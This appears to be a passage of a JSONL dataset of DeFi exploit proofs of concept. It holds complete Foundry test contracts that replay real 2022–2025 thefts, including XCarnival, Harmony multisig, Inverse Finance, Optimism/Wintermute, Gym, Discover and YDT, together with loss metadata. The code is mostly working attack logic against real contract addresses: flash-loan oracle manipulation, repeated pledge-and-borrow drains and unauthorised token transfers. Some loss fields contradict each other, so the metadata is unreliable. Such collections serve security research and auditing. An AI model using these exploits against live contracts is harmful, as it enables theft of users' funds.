https://etherscan.io/address/0x5417da20ac8157dd5c07230cfc2b226fdcfc5663#code\n// Proxy of XNFT.sol : 0xb14B3b9682990ccC16F52eB04146C3ceAB01169A\n// P2Controller.sol : https://etherscan.io/address/0x34ca24ddcdaf00105a3bf10ba5aae67953178b85#code\n// BAYC Contract: 0xbc4ca0eda7647a8ab7c2061c2e118a18a936f13d\n\n// @News\n// Official Announce : https://twitter.com/XCarnival_Lab/status/1541226298399653888\n// PeckShield Alert Thread : https://twitter.com/peckshield/status/1541047171453034501\n// Blocksec Alert Thread : https://twitter.com/BlockSecTeam/status/1541070850505723905\n\n// @Shortcuts\n/*\n Attacker Tx List : https://etherscan.io/txs?a=0xb7cbb4d43f1e08327a90b32a8417688c9d0b800a\n First `0xadf6a75d` call : https://etherscan.io/tx/0x422e7b0a449deba30bfe922b5c34282efbdbf860205ff04b14fd8129c5b91433\n First `Start` call : https://etherscan.io/tx/0xabfcfaf3620bbb2d41a3ffea6e31e93b9b5f61c061b9cfc5a53c74ebe890294d*/\n\ninterface IBAYC {\n function setApprovalForAll(address operator, bool _approved) external;\n\n function transferFrom(address from, address to, uint256 tokenId) external;\n\n function ownerOf(\n uint256 tokenId\n ) external view returns (address owner);\n}\n\ninterface IXNFT {\n function counter() external returns (uint256); // getter() for -> uint256 public counter;\n\n function pledgeAndBorrow(\n address _collection,\n uint256 _tokenId,\n uint256 _nftType,\n address xToken,\n uint256 borrowAmount\n ) external;\n\n function withdrawNFT(\n uint256 orderId\n ) external;\n}\n\ninterface IXToken {\n function borrow(uint256 orderId, address payable borrower, uint256 borrowAmount) external;\n}\n\n/* Contract: 0xa04ec2366641a2286782d104c448f13bf36b2304 */\ninterface INothing {\n function borrow(uint256 orderId, address payable borrower, uint256 borrowAmount) external;\n}\n\n/* Contract: 0x2d6e070af9574d07ef17ccd5748590a86690d175 */\ncontract payloadContract is Test {\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n uint256 orderId = 0;\n IBAYC BAYC = IBAYC(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D);\n IXNFT XNFT = IXNFT(0xb14B3b9682990ccC16F52eB04146C3ceAB01169A);\n IXToken XToken = IXToken(0xB38707E31C813f832ef71c70731ed80B45b85b2d);\n INothing doNothing = INothing(0xA04EC2366641a2286782D104C448f13bF36B2304);\n\n constructor() {\n emit OwnershipTransferred(address(0), address(msg.sender));\n BAYC.setApprovalForAll(tx.origin, true);\n }\n\n // function 0x97c1edd3()\n function makePledge() public {\n BAYC.setApprovalForAll(address(XNFT), true);\n\n // Attacker was call `pledgeAndBorrow()`, But `pledge()` also vulnerable.\n XNFT.pledgeAndBorrow(address(BAYC), 5110, 721, address(doNothing), 0);\n\n orderId = XNFT.counter();\n assert(orderId >= 11); // Attacker start by orderId:11\n XNFT.withdrawNFT(orderId);\n\n BAYC.transferFrom(address(this), msg.sender, 5110);\n }\n\n // function 0x2a3e7cec()\n function dumpETH() public {\n XToken.borrow(orderId, payable(address(this)), 36 ether);\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external pure returns (bytes4) {\n return this.onERC721Received.selector;\n }\n\n receive() external payable {}\n}\n\n/* Contract: 0xf70f691d30ce23786cfb3a1522cfd76d159aca8d */\ncontract mainAttackContract is Test {\n address payable[33] public payloads;\n address attacker = 0xb7CBB4d43F1e08327A90B32A8417688C9D0B800a;\n IBAYC BAYC = IBAYC(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D);\n CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheat.createSelectFork(\"mainnet\", 15_028_846); // fork mainnet at block 15028846\n\n cheat.deal(address(this), 0);\n emit log_named_decimal_uint(\"[*] Attacker Contract ETH Balance\", address(this).balance, 18);\n\n // Mainnet TxID: 0x7cd094bc34c6700090f88950ab0095a95eb0d54c8e5012f1f46266c8871027ff\n emit log_string(\"\\tAttacker send BAYC#5110 to Attack Contract...\");\n cheat.roll(15_028_846);\n cheat.startPrank(attacker);\n BAYC.transferFrom(attacker, address(this), 5110);\n cheat.stopPrank();\n }\n\n // [Main Attack Contract].0xadf6a75d()\n function testExploit() public {\n // Set msg.sender = 0xf70f691d30ce23786cfb3a1522cfd76d159aca8d (Main Attack Contract)\n // Set tx.origin = 0xb7CBB4d43F1e08327A90B32A8417688C9D0B800a (Attacker)\n cheat.startPrank(address(this), attacker);\n\n emit log_string(\"[Exploit] Making pledged record...\");\n for (uint8 i = 0; i < payloads.length; ++i) {\n payloadContract payload = new payloadContract();\n cheat.deal(address(payload), 0); // Set balance 0 ETH to avoid conflict on forknet\n payloads[i] = payable(address(payload));\n\n BAYC.transferFrom(address(this), address(payloads[i]), 5110);\n require(BAYC.ownerOf(5110) == payloads[i], \"BAYC#5110 Transfer Failed\");\n\n payload.makePledge();\n }\n\n assert(payloads[0] != address(0));\n assert(payloads[32] != address(0));\n\n emit log_string(\"[Exploit] Dumping ETH from borrow...\");\n for (uint8 i = 0; i < payloads.length; ++i) {\n payloads[i].call(abi.encodeWithSignature(\"dumpETH()\"));\n }\n\n emit log_string(\"[*] Exploit Execution Completed!\");\n emit log_named_decimal_uint(\"[*] Attacker Contract ETH Balance\", address(this).balance, 18);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "XCarnival", "date": "2022-06", "file_name": "XCarnival_exp.sol", "attack_vector": null, "content_hash": "a0995a971b94dffb", "collected_at": "2026-01-07T10:59:16.513230", "_source": "postmortems", "chain": "ethereum", "block_number": 15028846, "total_lost_raw": "3087 ETH (~3,870,000 US$)", "total_lost_usd": 3087.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "low", "severity_raw": "3087 ETH (~3,870,000 US$)", "category": "unknown", "exploit_code": "function testExploit() public {\n // Set msg.sender = 0xf70f691d30ce23786cfb3a1522cfd76d159aca8d (Main Attack Contract)\n // Set tx.origin = 0xb7CBB4d43F1e08327A90B32A8417688C9D0B800a (Attacker)\n cheat.startPrank(address(this), attacker);\n\n emit log_string(\"[Exploit] Making pledged record...\");\n for (uint8 i = 0; i < payloads.length; ++i) {\n payloadContract payload = new payloadContract();\n cheat.deal(address(payload), 0); // Set balance 0 ETH to avoid conflict on forknet\n payloads[i] = payable(address(payload));\n\n BAYC.transferFrom(address(this), address(payloads[i]), 5110);\n require(BAYC.ownerOf(5110) == payloads[i], \"BAYC#5110 Transfer Failed\");\n\n payload.makePledge();\n }\n\n assert(payloads[0] != address(0));\n assert(payloads[32] != address(0));\n\n emit log_string(\"[Exploit] Dumping ETH from borrow...\");\n for (uint8 i = 0; i < payloads.length; ++i) {\n payloads[i].call(abi.encodeWithSignature(\"dumpETH()\"));\n }\n\n emit log_string(\"[*] Exploit Execution Completed!\");\n emit log_named_decimal_uint(\"[*] Attacker Contract ETH Balance\", address(this).balance, 18);\n }\n\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$3.1K", "content_richness_score": 6, "quality_estimate": "medium", "title": "XCarnival Exploit (2022-06)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IERC20 usdt = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n MultiSig MultiSigWallet = MultiSig(payable(0x715CdDa5e9Ad30A0cEd14940F9997EE611496De6));\n\n address[] public owner;\n\n function setUp() public {\n cheat.createSelectFork(\"mainnet\", 15_012_645); //fork mainnet at block 15012645\n }\n\n function testExploit() public {\n emit log_named_uint(\"USDT balance of attacker before Exploit\", usdt.balanceOf(address(this)));\n // Mulsig Case of compromised private key.\n emit log_named_uint(\"How many approval required:\", MultiSigWallet.required());\n cheat.prank(0xf845A7ee8477AD1FB4446651E548901a2635A915);\n // TxHash: https://etherscan.io/tx/0x27981c7289c372e601c9475e5b5466310be18ed10b59d1ac840145f6e7804c97\n bytes memory msgP1 =\n hex\"fe7f61ea000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec700000000000000000000000000000000000000000000000000000913e1f5a200000000000000000000000000\";\n bytes memory recipient = abi.encodePacked(address(this));\n bytes memory receiptId = hex\"d48d952695ede26c0ac11a6028ab1be6059e9d104b55208931a84e99ef5479b6\";\n bytes memory _message = bytes.concat(msgP1, recipient, receiptId);\n uint256 txId = MultiSigWallet.submitTransaction(\n 0x2dCCDB493827E15a5dC8f8b72147E6c4A5620857, // destination\n 0, // value\n _message\n );\n // unlockToken(address,uint256,address,bytes32)\n // ethToken: dac17f958d2ee523a2206206994597c13d831ec7\n // amount: 9981000000000\n // recipient: b4c79dab8f259c7aee6e5b2aa729821864227e84\n // receiptId: d48d952695ede26c0ac11a6028ab1be6059e9d104b55208931a84e99ef5479b6\n\n emit log_named_address(\n \"2 of 5 multisig wallet, transaction first signed by:\", MultiSigWallet.getConfirmations(txId)[0]\n );\n cheat.prank(0x812d8622C6F3c45959439e7ede3C580dA06f8f25);\n MultiSigWallet.confirmTransaction(txId); // Transfer 9,981,000 USDT to address(this)\n emit log_named_address(\n \"2 of 5 multisig wallet, transaction second signed by:\", MultiSigWallet.getConfirmations(txId)[1]\n );\n emit log_named_uint(\"USDT balance of attacker after Exploit\", usdt.balanceOf(address(this)));\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Harmony_multisig", "date": "2022-06", "file_name": "Harmony_multisig_exp.sol", "attack_vector": null, "content_hash": "02ca5f2ea69ba2bb", "collected_at": "2026-01-07T10:59:16.513292", "_source": "postmortems", "chain": "ethereum", "block_number": 15012645, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_uint(\"USDT balance of attacker before Exploit\", usdt.balanceOf(address(this)));\n // Mulsig Case of compromised private key.\n emit log_named_uint(\"How many approval required:\", MultiSigWallet.required());\n cheat.prank(0xf845A7ee8477AD1FB4446651E548901a2635A915);\n // TxHash: https://etherscan.io/tx/0x27981c7289c372e601c9475e5b5466310be18ed10b59d1ac840145f6e7804c97\n bytes memory msgP1 =\n hex\"fe7f61ea000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec700000000000000000000000000000000000000000000000000000913e1f5a200000000000000000000000000\";\n bytes memory recipient = abi.encodePacked(address(this));\n bytes memory receiptId = hex\"d48d952695ede26c0ac11a6028ab1be6059e9d104b55208931a84e99ef5479b6\";\n bytes memory _message = bytes.concat(msgP1, recipient, receiptId);\n uint256 txId = MultiSigWallet.submitTransaction(\n 0x2dCCDB493827E15a5dC8f8b72147E6c4A5620857, // destination\n 0, // value\n _message\n );\n // unlockToken(address,uint256,address,bytes32)\n // ethToken: dac17f958d2ee523a2206206994597c13d831ec7\n // amount: 9981000000000\n // recipient: b4c79dab8f259c7aee6e5b2aa729821864227e84\n // receiptId: d48d952695ede26c0ac11a6028ab1be6059e9d104b55208931a84e99ef5479b6\n\n emit log_named_address(\n \"2 of 5 multisig wallet, transaction first signed by:\", MultiSigWallet.getConfirmations(txId)[0]\n );\n cheat.prank(0x812d8622C6F3c45959439e7ede3C580dA06f8f25);\n MultiSigWallet.confirmTransaction(txId); // Transfer 9,981,000 USDT to address(this)\n emit log_named_address(\n \"2 of 5 multisig wallet, transaction second signed by:\", MultiSigWallet.getConfirmations(txId)[1]\n );\n emit log_named_uint(\"USDT balance of attacker after Exploit\", usdt.balanceOf(address(this)));\n }\n\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.28, "quality_estimate": "low", "title": "Harmony_multisig Exploit (2022-06)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface ProxyFactory {\n function createProxy(address masterCopy, bytes calldata data) external returns (address payable proxy);\n}\n\ncontract ContractTest is Test {\n ProxyFactory proxy = ProxyFactory(0x76E2cFc1F5Fa8F6a5b3fC4c8F4788F0116861F9B);\n address public childcontract;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"optimism\", 10_607_735); //fork optimism at block 10607735\n }\n\n function testExploit() public {\n while (childcontract != 0x4f3a120E72C76c22ae802D129F599BFDbc31cb81) {\n childcontract = proxy.createProxy(0xE7145dd6287AE53326347f3A6694fCf2954bcD8A, \"0x\");\n emit log_named_address(\"Created Wintermute contract\", childcontract);\n }\n }\n}\n", "type": "exploit_poc", "protocol": "Optimism", "date": "2022-06", "file_name": "Optimism_exp.sol", "attack_vector": null, "content_hash": "30f7c69bfe25b139", "collected_at": "2026-01-07T10:59:16.513334", "_source": "postmortems", "chain": "unknown", "block_number": 10607735, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n while (childcontract != 0x4f3a120E72C76c22ae802D129F599BFDbc31cb81) {\n childcontract = proxy.createProxy(0xE7145dd6287AE53326347f3A6694fCf2954bcD8A, \"0x\");\n emit log_named_address(\"Created Wintermute contract\", childcontract);\n }\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.46, "quality_estimate": "low", "title": "Optimism Exploit (2022-06)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n IERC20 WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n USDT usdt = USDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IERC20 DOLA = IERC20(0x865377367054516e17014CcdED1e7d814EDC9ce4);\n ILendingPool aaveLendingPool = ILendingPool(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);\n VyperContract curveVyper_contract = VyperContract(0xD51a44d3FaE010294C616388b506AcdA1bfAAE46);\n IERC20 crv3crypto = IERC20(0xc4AD29ba4B3c580e6D59105FFf484999997675Ff);\n VyperContract yvCurve3Crypto = VyperContract(0xE537B5cc158EB71037D4125BDD7538421981E6AA);\n VyperContract curveRegistry = VyperContract(0x8e764bE4288B842791989DB5b8ec067279829809);\n VyperContract dola3pool3crv = VyperContract(0xAA5A67c256e27A5d80712c51971408db3370927D);\n VyperContract curve3pool = VyperContract(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);\n CErc20Interface anYvCrv3CryptoInverse = CErc20Interface(0x1429a930ec3bcf5Aa32EF298ccc5aB09836EF587);\n IUnitroller Unitroller = IUnitroller(0x4dCf7407AE5C07f8681e1659f626E114A7667339);\n IAggregator YVCrv3CryptoFeed = IAggregator(0xE8b3bC58774857732C6C1147BFc9B9e5Fb6F427C);\n CErc20Interface InverseFinanceDola = CErc20Interface(0x7Fcb7DAC61eE35b3D4a51117A7c58D53f0a8a670);\n IERC20 crv3 = IERC20(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);\n address[] assets = [0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599];\n uint256[] amounts = [2_700_000_000_000];\n uint256[] modes = [0];\n uint256[3] amounts2 = [0, 22_500_000_000, 0];\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 14_972_418); // fork mainnet at block 14972418\n }\n\n function testExploit() public {\n aaveLendingPool.flashLoan(address(this), assets, amounts, modes, address(this), \"0x\", 0);\n emit log_named_uint(\"After flashloan repaid, profit in WBTC of attacker:\", WBTC.balanceOf(address(this)));\n }\n\n function executeOperation(\n address[] memory assets,\n uint256[] memory amounts,\n uint256[] memory premiums,\n address initiator,\n bytes memory params\n ) public returns (bool) {\n assets;\n amounts;\n premiums;\n params;\n initiator;\n\n WBTC.approve(address(curveVyper_contract), type(uint256).max);\n WBTC.approve(address(curveRegistry), type(uint256).max);\n usdt.approve(address(curveRegistry), type(uint256).max);\n DOLA.approve(address(curveRegistry), type(uint256).max);\n crv3crypto.approve(0xE537B5cc158EB71037D4125BDD7538421981E6AA, type(uint256).max);\n\n emit log_named_uint(\"Flashloaned, WBTC balance of attacker:\", WBTC.balanceOf(address(this)) / 1e8);\n\n curveVyper_contract.add_liquidity(amounts2, 0);\n emit log_named_uint(\"After add-liquidity, crv3crypto balance of attacker:\", crv3crypto.balanceOf(address(this)));\n emit log_named_uint(\"After add-liquidity, WBTC balance of attacker:\", WBTC.balanceOf(address(this)) / 1e8);\n yvCurve3Crypto.deposit(5_375_596_969_399_930_881_565, address(this));\n emit log_named_uint(\n \"Deposited to Yearns Vault, yvCurve3 balance of attacker:\", yvCurve3Crypto.balanceOf(address(this))\n );\n yvCurve3Crypto.approve(\n 0x1429a930ec3bcf5Aa32EF298ccc5aB09836EF587,\n 100_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000\n );\n anYvCrv3CryptoInverse.mint(4_906_754_677_503_974_414_310);\n emit log_named_uint(\n \"Deposited to Inverse Yearn 3Crypto Vault, anYvCrv3Crypto balance of attacker:\",\n anYvCrv3CryptoInverse.balanceOf(address(this))\n );\n address[] memory toEnter = new address[](1);\n toEnter[0] = 0x1429a930ec3bcf5Aa32EF298ccc5aB09836EF587;\n Unitroller.enterMarkets(toEnter);\n\n emit log_named_int(\"YVCrv3CryptoFeed lastanswer:\", YVCrv3CryptoFeed.latestAnswer());\n emit log_named_uint(\"Before swap, USDT balance of attacker:\", usdt.balanceOf(address(this)));\n emit log_named_uint(\"Before swap, WBTC balance of CRV3Pool:\", WBTC.balanceOf(address(curveVyper_contract)));\n emit log_named_uint(\"Before swap, WETH balance of CRV3Pool:\", WETH.balanceOf(address(curveVyper_contract)));\n emit log_named_uint(\"Before swap, USDT balance of CRV3Pool:\", usdt.balanceOf(address(curveVyper_contract)));\n curveRegistry.exchange(\n address(curveVyper_contract), address(WBTC), address(usdt), 2_677_500_000_000, 0, address(this)\n );\n emit log_named_uint(\"After swap, USDT balance of attacker:\", usdt.balanceOf(address(this)));\n emit log_named_uint(\"After swap, WBTC balance of CRV3Pool:\", WBTC.balanceOf(address(curveVyper_contract)));\n emit log_named_uint(\"After swap, WBTC balance of CRV3Pool:\", WETH.balanceOf(address(curveVyper_contract)));\n emit log_named_uint(\"After swap, USDT balance of CRV3Pool:\", usdt.balanceOf(address(curveVyper_contract)));\n emit log_named_int(\"Manipulated YVCrv3CryptoFeed lastanswer:\", YVCrv3CryptoFeed.latestAnswer());\n InverseFinanceDola.borrow(10_133_949_192_393_802_606_886_848);\n emit log_named_uint(\"DOLA balance of attacker:\", DOLA.balanceOf(address(this)));\n curveRegistry.exchange(\n address(curveVyper_contract), address(usdt), address(WBTC), 75_403_376_186_072, 0, address(this)\n );\n emit log_named_uint(\"After swap, WBTC balance of attacker:\", WBTC.balanceOf(address(this)) / 1e8);\n curveRegistry.exchange(\n address(dola3pool3crv), address(DOLA), address(crv3), 10_133_949_192_393_802_606_886_848, 0, address(this)\n );\n emit log_named_uint(\"After swap,3crv balance of attacker:\", crv3.balanceOf(address(this)));\n curve3pool.remove_liquidity_one_coin(9_881_355_040_729_892_287_779_421, 2, 0);\n emit log_named_uint(\"After swap, USDT balance of attacker:\", usdt.balanceOf(address(this)));\n curveRegistry.exchange(\n address(curveVyper_contract), address(usdt), address(WBTC), 10_000_000_000_000, 0, address(this)\n );\n emit log_named_uint(\"After swap, WBTC balance of attacker:\", WBTC.balanceOf(address(this)));\n WBTC.approve(address(aaveLendingPool), 2_702_430_000_000);\n\n return true;\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "InverseFinance", "date": "2022-06", "file_name": "InverseFinance_exp.sol", "attack_vector": "flash_loan", "content_hash": "92de15942a86b085", "collected_at": "2026-01-07T10:59:16.513375", "_source": "postmortems", "chain": "unknown", "block_number": 14972418, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n aaveLendingPool.flashLoan(address(this), assets, amounts, modes, address(this), \"0x\", 0);\n emit log_named_uint(\"After flashloan repaid, profit in WBTC of attacker:\", WBTC.balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 6, "quality_estimate": "medium", "title": "InverseFinance Exploit (2022-06)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IPancakeRouter pancakeRouter = IPancakeRouter(payable(0x6CD71A07E72C514f5d511651F6808c6395353968));\n GymToken gymnet = GymToken(0x3a0d9d7764FAE860A659eb96A500F1323b411e68);\n GymSinglePool gympool = GymSinglePool(0xA8987285E100A8b557F06A7889F79E0064b359f2);\n\n function setUp() public {\n cheat.createSelectFork(\"bsc\", 18_501_049); //fork bsc at block 18501049\n }\n\n function testExploit() public {\n gympool.depositFromOtherContract(8_000_000_000_000_000_000_000_666, 0, true, address(this));\n cheat.warp(1_654_683_789);\n gympool.withdraw(0);\n emit log_named_uint(\"Exploit completed, GYMNET balance of attacker:\", gymnet.balanceOf(address(this)));\n }\n}\n", "type": "exploit_poc", "protocol": "Gym_2", "date": "2022-06", "file_name": "Gym_2_exp.sol", "attack_vector": null, "content_hash": "7f858922b169cb50", "collected_at": "2026-01-07T10:59:16.513429", "_source": "postmortems", "chain": "unknown", "block_number": 18501049, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n gympool.depositFromOtherContract(8_000_000_000_000_000_000_000_666, 0, true, address(this));\n cheat.warp(1_654_683_789);\n gympool.withdraw(0);\n emit log_named_uint(\"Exploit completed, GYMNET balance of attacker:\", gymnet.balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.47, "quality_estimate": "low", "title": "Gym_2 Exploit (2022-06)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface ETHpledge {\n function pledgein(address fatheraddr, uint256 amountt) external returns (bool);\n}\n// Expected error. [FAIL. Reason: Pancake: INSUFFICIENT_INPUT_AMOUNT]\n// Because we don't repay funds to pancake.\n\ncontract ContractTest is Test {\n IPancakePair PancakePair = IPancakePair(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00);\n IPancakePair PancakePair2 = IPancakePair(0x92f961B6bb19D35eedc1e174693aAbA85Ad2425d);\n IERC20 busd = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 discover = IERC20(0x5908E4650bA07a9cf9ef9FD55854D4e1b700A267);\n ETHpledge ethpledge = ETHpledge(0xe732a7bD6706CBD6834B300D7c56a8D2096723A7);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n constructor() {\n cheats.createSelectFork(\"bsc\", 18_446_845); // fork bsc at block 18446845\n\n busd.approve(address(ethpledge), type(uint256).max);\n discover.approve(address(ethpledge), type(uint256).max);\n }\n\n function testExploit() public {\n bytes memory data = abi.encode(address(this), 19_810_777_285_664_651_588_959);\n emit log_named_uint(\"Before flashswap, BUSD balance of attacker:\", busd.balanceOf(address(this)));\n PancakePair2.swap(19_810_777_285_664_651_588_959, 0, address(this), data);\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {\n emit log_named_uint(\"After flashswap, BUSD balance of attacker:\", busd.balanceOf(address(this)));\n ethpledge.pledgein(0xAb21300fA507Ab30D50c3A5D1Cad617c19E83930, 2_000_000_000_000_000_000_000);\n emit log_named_uint(\n \"After Exploit, discover balance of attacker:\",\n discover.balanceOf(0xAb21300fA507Ab30D50c3A5D1Cad617c19E83930)\n );\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Discover", "date": "2022-06", "file_name": "Discover_exp.sol", "attack_vector": null, "content_hash": "53e20da6dfcee438", "collected_at": "2026-01-07T10:59:16.513467", "_source": "postmortems", "chain": "unknown", "block_number": 18446845, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n bytes memory data = abi.encode(address(this), 19_810_777_285_664_651_588_959);\n emit log_named_uint(\"Before flashswap, BUSD balance of attacker:\", busd.balanceOf(address(this)));\n PancakePair2.swap(19_810_777_285_664_651_588_959, 0, address(this), data);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.98, "quality_estimate": "low", "title": "Discover Exploit (2022-06)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n\nimport \"../interface.sol\";\nimport \"forge-std/Test.sol\";\n\n\npragma solidity ^0.8.13;\n\n\ncontract ContractTest is Test {\n\n address USDT = 0x55d398326f99059fF775485246999027B3197955;\n address YDT= 0x3612e4Cb34617bCac849Add27366D8D85C102eFd;\n address taxmodule =0x013E29791A23020cF0621AeCe8649c38DaAE96f0;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n address Pair=0xFd13B6E1d07bAd77Dd248780d0c3d30859585242;\n IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n\n \n function setUp() public {\n vm.createSelectFork(\"bsc\", 50273545);\n }\n\n function testExploit() public {\n uint256 amount=IERC20(YDT).balanceOf(address(Pair));\n\n address(YDT).call(abi.encodeWithSelector(bytes4(0xec22f4c7),address(Pair),address(this),amount - 1000*1e6,address(taxmodule)));\n\n address(Pair).call(abi.encodeWithSelector(bytes4(0xfff6cae9))); \n address[] memory path = new address[](2);\n path[0] = address(YDT);\n path[1] = address(USDT); \n IERC20(YDT).approve(address(Router),type(uint256).max);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n IERC20(YDT).balanceOf(address(this)) / 10,\n 0,\n path,\n address(this),\n block.timestamp +200\n );\n\n\n emit log_named_decimal_uint(\"Profit in \", IERC20(USDT).balanceOf(address(this)), 18);\n\n }\n\n receive() external payable {}\n\n}\n\n\n", "type": "exploit_poc", "protocol": "YDTtoken", "date": "2025-05", "file_name": "YDTtoken_exp.sol", "attack_vector": null, "content_hash": "13c9d6194b0bba8d", "collected_at": "2026-01-07T10:59:16.513506", "_source": "postmortems", "chain": "unknown", "block_number": 50273545, 